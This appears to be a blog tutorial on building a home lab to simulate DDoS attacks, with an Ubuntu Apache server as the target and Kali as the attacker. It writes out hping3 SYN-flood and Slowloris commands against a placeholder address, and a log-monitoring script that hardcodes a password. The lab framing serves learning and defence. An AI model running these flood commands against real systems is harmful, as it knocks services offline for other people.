Sitemap
Sebastien Simon

Sebastien Simon

DDoS Simulation

2 min readJul 10, 2024

--

Setting up a DDoS simulation home lab is a practical way to understand and defend against distributed denial-of-service attacks. Here’s how to set up a home lab for DDoS simulation using your ARM macOS, Kali Linux, and ARM Ubuntu server.

Disclaimer

This article is intended for educational purposes only. The author is not responsible for any damages, unauthorized access, or illegal activities that may arise from this content. This demonstration is a product of research driven by a passion for cybersecurity. All actions described were conducted in a controlled environment on the author’s own devices.

Overview

  • ARM macOS: Used for coordination, monitoring, and logging.
  • Kali Linux: Used as the attacker machine to simulate DDoS attacks.
  • ARM Ubuntu Server: Used as the target server to withstand and log DDoS attacks.

Step-by-Step Instructions

Step 1: Set Up Coordination and Monitoring on ARM macOS

Install Necessary Tools

Ensure you have necessary tools like SSH and SCP for coordination and monitoring:

brew install python3

Create SSH Keys for Password-less Authentication

Generate SSH keys on your macOS and copy them to Kali Linux and ARM Ubuntu Server:

ssh-keygen -t rsa
ssh-copy-id tuser@xx.xxx.xx.xx
ssh-copy-id tuser@xx.xxx.xx.xx

Step 2: Set Up ARM Ubuntu Server as the Target Server

Update and Upgrade

sudo apt update && sudo apt upgrade -y

Install a Web Server

Install Apache or Nginx to act as the target server:

sudo apt install apache2 -y

Start the Web Server

sudo systemctl start apache2
sudo systemctl enable apache2

Get Sebastien Simon’s stories in your inbox

Join Medium for free to get updates from this writer.

Configure Logging

Ensure Apache logs are enabled for monitoring the DDoS attack:

sudo nano /etc/apache2/apache2.conf

Make sure the LogLevel is set to info or higher:

LogLevel info

Restart Apache to apply changes:

sudo systemctl restart apache2

Step 3: Set Up Kali Linux as the Attacker Machine

Update and Upgrade

sudo apt update && sudo apt upgrade -y

Install DDoS Tools

Install common tools used for simulating DDoS attacks, such as hping3 and slowloris:

sudo apt install hping3 slowloris -y

Simulate DDoS Attack with hping3

Run a SYN flood attack:

sudo hping3 -S --flood -V -p 80 xx.xxx.xx.xx

Simulate DDoS Attack with Slowloris

Run a Slowloris attack:

slowloris xx.xxx.xx.xx

Step 4: Monitoring and Logging on ARM macOS

Set Up a Monitoring Script

Create a script to monitor Apache logs for signs of DDoS attacks. Create a file monitor_logs.py:

import paramiko

ubuntu_ip = "xx.xxx.xx.xx"
user = "xxxx"
password = "your_password"
log_file = "/var/log/apache2/access.log"

def monitor_logs():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ubuntu_ip, username=user, password=password)
sftp = ssh.open_sftp()
with sftp.open(log_file, 'r') as f:
while True:
line = f.readline()
if not line:
break
print(line.strip())
sftp.close()
ssh.close()

if __name__ == "__main__":
monitor_logs()

--

--